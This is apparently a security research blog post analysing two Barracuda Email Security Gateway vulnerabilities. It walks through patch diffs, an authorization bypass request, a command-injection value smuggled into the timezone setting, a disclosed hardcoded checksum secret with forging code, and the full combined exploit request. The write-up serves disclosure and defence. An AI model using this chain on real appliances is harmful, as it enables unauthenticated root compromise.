Yes, that's right! Today we're at the aquarium.
Welcome back to yet another watchTowr Labs blog post. You can begin preparing your comments now.
What Is A Barracuda, And Why? Must We?
Barracuda’s Email Security Gateway solution (ESG) is no stranger to love, for a couple of reasons:
- For many, it is the appliance that sits in front of an organization's mail and decides which messages are spam, which carry malware, and which are allowed through.
- For others, it’s the appliance that required physical replacement after UNC4841 (per Mandiant) exploited CVE-2023-2868 as a zero-day.
Whoever you are, one thing will be consistent in your experience: it is yet another appliance that lives at the edge, inspects everything, and runs with the exact and only privileges needed to block a mean email about your blog post.
Ok, But What Are CVE-2026-116606 And CVE-2026-111560?
As always, CVE IDs have a habit of being surprisingly catchy - and these two are no different, as we can see in Barracuda's own advisory and summarized below:
| CVE | Vulnerability | CVSS | Affected Products | Fixed In |
|---|---|---|---|---|
| CVE-2026-116606 | Pre-Authentication Authorization Bypass (Editor: lol?) | 9.3 Critical | Barracuda ESG | 9.4.0.029 |
| CVE-2026-111560 | OS Command Injection | 8.6 High | ESG, Load Balancer ADC, Message Archiver, WAF Control Center, Web Application Firewall, Web Security Gateway | 9.4.0.029 |
In isolation, you could be fairly British and describe either as "not ideal." But things get worse - if chained, and you were British, you’d describe them as “okay.” Scathing.
It hopefully comes as no surprise then that these vulnerabilities are the focus for today's watchTowr Labs blog post - so let’s grab a coffee and go on a walk.
Setting The Scene
To fuel today's analysis, we set up appliances and compared two versions using our normal "what the hell has changed" process:
- Vulnerable: Barracuda ESG 9.4.0.027
- Different: Barracuda ESG 9.4.0.029
For context, before we walk through this blog post, it's important to note that Barracuda released several patch files to address CVE-2026-111560 and CVE-2026-116606. However, we reviewed two specifically, which were referred to as follows:
- Patch-1 (for CVE-2026-116606 “Pre-Authentication Authorization Bypass”)
- Patch-2 (for CVE-2026-111560 OS Command Injection)

There is truly nothing that warms us more than a flashback to the physical exorcism of a rack-mounted server because of a vulnerability (yes, we know there is more to the story).
What Does a “Pre-Authentication Authorization Bypass” Look Like? How Many Legs? Salt Water? (CVE-2026-116606)
This is the question that we sat down and asked ourselves. Luckily, we didn't have to wait long.
Reviewing Patch-1, the installer was at least descriptive about its purpose:
..snip..
# Pre-authentication authorization bypass permits
# arbitrary Spam_Config restore
# CVSS 9.8 Critical
As an aside for those of you who are eagle-eyed, you'll see that the CVSS score for this vulnerability here is 9.8, versus 9.3 in Barracuda’s advisory. Our best guess is that 9.8 reflects both vulnerabilities being scored together (which CVSS experts will quickly recognize as a crime), rather than anything untoward occurring here.

Diving into the files changed inside this patch, we quickly have a list of suspects:
- Index.pm
- Backup2.pm
- bayesian_upload.pm
- UserRole.pm
- Params.pm
Quickly, We Have A Suspect: Index.pm
The changes from Index.pm are curious, but thankfully minimal.
Barracuda, to their credit, included this opaquely described hint as to what the issue might be:
+ # Send the error and stop here. Returning a userrole
+ # would let response() run module handlers.
That comment is reflected in the whole patch:
if ($password_change_status ==
$Login::status_codes{ERROR_PASSWD_CHANGE}->{val}) {
- $params->{json_authenticate} = {
+ $self->audit("failed_password_change", $params->{user});
+ # Send the error and stop here. Returning a userrole
+ # would let response() run module handlers.
+ return $self->_bailout_with_json_login_response(
+ $env, $params, {
success => 'true',
message => $Login::status_codes{ERROR_PASSWD_CHANGE}->{msg}
. ": " . $message,
status => $Login::status_codes{ERROR_PASSWD_CHANGE}->{val},
- };
- return $userrole;
+ });
}
So Index.pm handles password-change attempts, but the trouble starts in the pre-patch code when a password change attempt fails (with ERROR_PASSWD_CHANGE).
Below is the entire vulnerable function, with the original line numbers from Index.pm:
383: if(defined($params->{new_password}) && defined($params->{retype_password}) && ! (-e "/tmp/bypass_password")){
384: my $password_change_status=0;
385: my $message = "";
386: ($password_change_status, $message,$user) = Login::change_admin_password($params);
387: if($password_change_status == 1 && $user){
388: # Dont allow logoff unless the request is from an authenticated logged in user
389: my $url = "/cgi-mod/index.cgi" . uri_hash_to_querystring({
390: locale => $MS_globals::params{locale},
391: error => $status
392: });
393: my %redir = (-location=>$url);
394: $self->audit('password_change', $params->{user});
395: Login::logoff_user($status, 1, $params->{user});
396: return bailout();
397: }
398: else{
399: if ($password_change_status == $Login::status_codes{ERROR_PASSWD_CHANGE}->{val}) {
400: $params->{json_authenticate} = {
401: success => 'true',
402: message => $Login::status_codes{ERROR_PASSWD_CHANGE}->{msg}.": ". $message,
403: status => $Login::status_codes{ERROR_PASSWD_CHANGE}->{val},
404: };
405: $self->audit("failed_password_change", $params->{user});
406: return $userrole;
407: }
While the pre-patch code returns a verbose JSON block indicating a failed password change attempt, it doesn’t actually stop execution.
Let’s break this down:
- When the password change works (line 387), it finishes with
return bailout();on line 396, andbailout()is the “we are done, stop the request here” signal. - When it fails with
ERROR_PASSWD_CHANGE(line 399), it finishes withreturn $userrole;on line 406 instead.
The next logical question is “what is $userrole?” $userrole is “just” the current session’s role object, which for our unauthenticated request is the low-privilege login-screen role.
Why does that matter? Well, the password-change code above lives inside _process_params, and the method that calls it is response:
584: sub response {
585: my ($self, $env, $params) = @_;
586:
587: $self->set_self_url($env, $params);
588:
589: # If we are not activated, this removes various changes the user may
590: # have tried to make from the params hash.
591: $self->_check_activation($env, $params);
592:
593: $self->_process_params($env, $params);
594:
595: $self->_update_variables($env, $params);
596:
597: Barracuda::Hooks::run_hooks("after write config");
_process_params returns on line 593 and hands our $userrole straight back to response - a return occurs with no error indicated, and the function continues as it was.
To reproduce this behavior, we send a POST request to /cgi-mod/index.cgi (the endpoint that eventually reaches this code path) with two parameters in the body:
new_passwordretype_password
POST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
user=admin&new_password=one&retype_password=two
The appliance answers with HTTP 200 and a JSON body that declares the failed password change:
{"message":"Error: Password Change: ","no_ajax_redirect":"true","redirect":"/cgi-mod/password_change.cgi?auth_type=Local&locale=en_US&user=admin&error=Error: Password Change: ","success":"true"}
“But wait,” you ask, “surely a rejected auth operation stops anything further privileged from happening? What is the use of a login-screen role?”
Stop calling us Shirley.
All we need now is something worth bolting on beside it, which is where the next weakness comes in.
Luckily, We Have a Command Injection Vulnerability To Pair! (CVE-2026-111560)
While we have strange behavior in the password change mechanism that Barracuda describes as a Pre-Authentication Authorization Bypass, we still need to determine what we can actually do about it.
Analyzing what we've effectively termed “Patch-2”, we were once again presented with complete Perl source code, making our lives a little simpler.
Two files stood out as interesting within this patch:
- Backup2.pm
- fix_tz.pl


Diffing Backup2.pm
After brief analysis, the only seemingly meaningful change in Backup2.pm was made to this pre-patch code block:
if( -f "/home/product/code/config/tz" ) {
my $system_timezone = Barracuda::Config::get('system_timezone');
`sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz`;
}
We get a clearer clue about the issue by looking at what changes when we redirect our gaze to the patched version. Effectively, Barracuda has swapped out the shell command execution with.. a safer approach:
if( -f "/home/product/code/config/tz" ) {
my $system_timezone = Barracuda::Config::get('system_timezone');
- `sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz`;
+ if ($system_timezone && -f "/usr/share/zoneinfo/$system_timezone") {
+ open my $in, '<', '/home/product/code/config/tz' or die $!;
+ my @lines = <$in>;
+ close $in;
+ open my $out, '>', '/home/product/code/config/tz' or die $!;
+ for my $line (@lines) {
+ $line =~ s/^TZ=.*/TZ=$system_timezone/ if $line =~ /^TZ=/;
+ print $out $line;
+ }
+ close $out;
+ } else {
+ warn "Skipping tz restore: invalid system_timezone='$system_timezone'\n";
+ }
}
To summarize, this gives us three primary things:
- First, the vendor now treats
system_timezoneas untrusted enough to demand it resolve to a real file under/usr/share/zoneinfo/before use. - Secondly, the old line crossed a shell boundary. Perl backticks are command substitution, so Perl builds a string and hands it to a shell. The single quotes around the value look protective, but they are only characters in the generated command, not a Perl safety boundary.
A value shaped like this rewrites the shell grammar:
Region#';<attacker-command>;#
The first quote closes the intended sed expression, the semicolon starts a fresh command, and # comments out the rest.
- And lastly (and this is the part that made us sit up), a fairly large clue in the function name (
finalize_restore) about how we might be able to exploit this vulnerability.finalize_restore.
Diffing fix_tz.pl
The second file highlighted by our patch diff is fix_tz.pl, which tells a similar story about command injection, specifically related to time zone setting.
my $system_timezone = Barracuda::Config::get('system_timezone');
exit if !$system_timezone;
`sed -i 's#ZONE=.*#ZONE=$system_timezone#' /etc/sysconfig/clock`;
Actually, that's where the patch adds a gate:
my $system_timezone = Barracuda::Config::get('system_timezone');
exit if !$system_timezone;
+if (! -f "/usr/share/zoneinfo/$system_timezone") {
+ warn "Invalid timezone: $system_timezone\n";
+ exit 1;
+}
And removes the shell-backed update in favor of the same read, rewrite, write Perl pattern:
-`sed -i 's#ZONE=.*#ZONE=$system_timezone#' /etc/sysconfig/clock`;
+if (-f '/etc/sysconfig/clock') {
+ open my $in, '<', '/etc/sysconfig/clock' or die $!;
+ my @lines = <$in>;
+ close $in;
+ open my $out, '>', '/etc/sysconfig/clock' or die $!;
+ for my $line (@lines) {
+ $line =~ s/^ZONE=.*/ZONE=$system_timezone/ if $line =~ /^ZONE=/;
+ print $out $line;
+ }
+ close $out;
+}
TL;DR, we're dealing with two sinks: one in Backup2.pm and the other in fix_tz.pl.
Effectively, Backup2::finalize_restore writes the product timezone file and fix_tz.pl writes to the operating-system clock file - and the same seemingly attacker-controlled and manipulable input reaches both.
“A limited-privilege user can't write this file” - true, but we’re discussing security appliances. It’s different - which is exactly why the code above uses sudo to execute the fix_tz.pl file.
if( -f "/home/product/code/firmware/current/bin/fix_tz.pl" ) {
system('/usr/bin/sudo',
'/home/product/code/firmware/current/bin/fix_tz.pl');
}
This is not just any old OS Command Injection vulnerability, but one that executes as root.
Let’s Abuse It
To trigger this vulnerability, we looked for places that would allow us to reach this vulnerable code naturally. One place stood out: an upload handler named bayesian_upload.pm.
Here’s the upload handler file named bayesian_upload.pm:
53: bc_sub bayesian_upload_handler =>
54: perm { 1 },
55: web_params( [param('user'), param('bayesian'), param('pu_bayesian_upload')]),
56: does {
57: my $args = shift;
58: return if(!defined($args->{'bayesian'}) || $ENV{REMOTE_USER} eq 'guest');
59:
60: my $lock;
61: my $error = '';
62: my $filename = $Barracuda::BackupConfig::StagingJob::BACKUP_FILE;
63:
64: try {
65: $lock = Barracuda::Backup2::_grab_lock();
66:
67: my $uploader = $args->{bayesian};
68: if ($uploader->to_file( { dest => $filename } )) {
69: throw Barracuda::Exception;
70: }
71: }
72: catch Barracuda::Backup2::Lock_Error with {
73: $error = 'lid_2876';
74: }
75: catch Error with {
76: $error = 'lid_379';
77: }
78: finally {
79: $lock && $lock->punlock();
80: if ($error) {
81: push(@Barracuda::UI::status_message,
82: {
83: message => $error,
84: type => 'error'
85: }
86: );
87: return;
88: }
89: };
90:
91: my %params;
92: $params{full_reload} = 0;
93: my $ret = 0;
94: try {
95: $ret = Barracuda::Backup2::restore_all($filename, %params);
96: } catch Error with {
As you can see, this function is fairly simple. It expects a few parameters, and if they are as expected, we can reach line 95, where the restore all function executes on a backup file the user provides.
Backup Restore To Command Execution
Now, life is never that simple, and our first question was: "Okay, so what does a backup file actually look like?”
Now in this case, luckily, a backup is a tar file that contains a backup.xml file that lists various details. Here is an example shape of one we built:
<backup>
<component name="Spam_Config">
<file id="mysql" checksum="[generated integrity value]" path="mysql-poc.gz" />
</component>
<info filename="poc.bak" firmware_version="9.4.0.020"
model="V300" platform="5" product="emailswitch" type="manual_backup">
<component_version name="Config" number="1" />
<component_version name="Files" number="1" />
<component_version name="Spam_Config" number="1" />
<component_version name="mysql" number="1" />
</info>
</backup>
You may recognize Spam_Config from within an earlier patch comment. That's our clue and it exists as part of a backup.xml file.
When the appliance restores Spam_Config, it loads a small MySQL dump and restores defined information back into the local MySQL database.
As luck would have it, one of those rows is system_timezone. Do you see where this is going?
What if we restore the value of the system_timezone row with a shell command stuck on the end:
UTC#';touch /tmp/watchTowr;#
But let's not jump ahead - we haven't actually built a valid backup file yet.
Getting Our Backup Accepted
As we discussed, the backup is restored by a function called restore_all. This function unpacks the archive, reads the list of parts, and restores each one:
444: sub restore_all {
445: my $bundle_filename = shift;
446: my %args = @_;
447: if (not exists($args{full_reload})) {
448: $args{full_reload} = 1;
449: }
450: change_directory("/mail/tmp");
451: my $pl = _grab_lock();
452: log_message("Starting restore opertation...");
453: my $poke_progress = sub { };
454: if ($args{progress_cb}) {
455: if (ref($args{progress_cb}) ne 'CODE') {
456: croak('progress_cb must be a CODE reference.');
457: }
458: $args{progress_cb}->(0);
459: }
460: my $dir;
461: if (Barracuda::FrameworkConfig::framework_config('backup_compatibility_on')) {
462: require IPC::Run;
463: my ($out, $err);
464: eval {
465: IPC::Run::run(["$Barracuda::Environment::path_firmware/bin/file", '-b', $bundle_filename], \undef, \$out, \$err);
466: };
467: chomp($out);
468: if ($out && $out ne 'POSIX tar archive (GNU)') {
469: $dir = $TMP_DIR;
470: }
471: }
472: if ($dir) {
473: system('cp', '-f', $bundle_filename, $dir . '/Backup.bak');
474: } else {
475: log_message("Untaring bundle...");
476: $dir = untar_bundle($bundle_filename);
477: }
478: log_message("Reading the components to restore...");
479: my $data = read_staged_metadata($dir);
480: $poke_progress = _create_poke_progress($data, $args{progress_cb});
481: log_message("Restoring components...");
482: restore_components($data, $dir, \%args, $poke_progress);
483: # Reload & reboot
484: $pl->punlock();
485: log_message("Finalizing restore...");
486: finalize_restore(\%args);
487: return 1;
Packing The Backup
Seems simple then. We just throw some SQL query in an XML file, tar it, and then restore it.
But no, life punishes us.
About That Checksum
Every file listed in backup.xml has a checksum, and the restore function validates said checksum with diligence… It reads the file's bytes, computes its own checksum, and rejects the backup if the checksums do not match. So our usual approach of just typing random numbers into these fields will not work here.
But there's still a funny part. That checksum is built as so:
The checksum is just md5(file_bytes + secret + ".").
Secret, you say? That must be a dynamically unique value that changes often or is somehow tied to the machine and not predictable.
We present the secret.
CHECKSUM_SECRET = b"Barracuda Networks is your new best friend"
But really the checksum is just md5(file_bytes + "Barracuda Networks is your new best friend" + ".").
As you can see below, this allows us to then determine the checksum ourselves:
47: mysql_dump = gzip.compress(sql, compresslevel=9, mtime=0)
48: checksum = hashlib.md5(mysql_dump + CHECKSUM_SECRET + b".").hexdigest()
49: timestamp = time.strftime("%Y%m%dT%H%M%S", time.gmtime())
50: backup_xml = f"""<?xml version='1.0' standalone='yes'?>
51: <backup>
52: <component name="Spam_Config">
53: <file id="mysql" checksum="{checksum}" path="mysql-poc.gz" />
Putting It All Together
While the proverb of "many word make many big long blog post" is accurate, unfortunately the HTTP request that combines both vulnerabilities discussed in today's blog post is actually fairly simple:
POST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: multipart/form-data; boundary=BOUNDARY
--BOUNDARY
Content-Disposition: form-data; name="user"
admin
--BOUNDARY
Content-Disposition: form-data; name="new_password"
one
--BOUNDARY
Content-Disposition: form-data; name="retype_password"
two
--BOUNDARY
Content-Disposition: form-data; name="UPDATE_activation_code"
1
--BOUNDARY
Content-Disposition: form-data; name="pu_bayesian_upload"
1
--BOUNDARY
Content-Disposition: form-data; name="bayesian"; filename="poc.bak"
Content-Type: application/octet-stream
<TAR BACKUP>
--BOUNDARY--
Detection Artefact Generator
As always, we are sharing our Detection Artefact Generator so you can determine your own susceptibility and inform remediation in your own environments.
It can be found on our GitHub here.
Gain early access to our research, and understand your exposure, with the watchTowr Platform
The research published by watchTowr Labs is powered by the same engine behind the watchTowr Platform, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.
The watchTowr Platform combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.
Request a demo